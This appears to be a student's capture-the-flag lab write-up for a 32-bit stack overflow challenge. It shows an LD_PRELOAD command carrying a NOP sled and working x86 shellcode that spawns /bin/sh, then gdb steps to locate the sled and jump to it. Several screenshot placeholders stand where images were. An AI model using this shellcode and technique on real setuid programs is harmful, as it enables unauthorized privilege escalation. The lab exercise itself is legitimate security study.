Extra1:

**export LD\_PRELOAD= 'directory(pwd)' + $(python -c 'print "SHELLCODE"' )**

**>** export LD\_PRELOAD=/home/users/chench6/week3/stack-ovfl-where-32-2/$(python -c 'print "\x90"\*1000 + "j2X\x99\xcd\x80\x89\xc3\x89\xc1jGX\xcd\x80Rhn/shh//bi\x89\xe3\x89\xd1j\x0bX\xcd\x80"')

> gdb ./ stack-ovfl-where-32-2  
(gdb) b main  
(gdb) r

(gdb) x/1000xw $ebp (find “90909090”)

After we find the location of 90909090 (0xffffd778)

Give 0xffffd778 to program to jump then make crash and get core file

After that, we can find where the shellcode is.

Finally, print it out.  
Text

Description automatically generated

In the end, run the program manually then type the location we just get then get the flag!

Text

Description automatically generated

Text

Description automatically generated

Extra 2:

**A.c**

**Text

Description automatically generated**

**> make A**

**Text

Description automatically generated with medium confidence**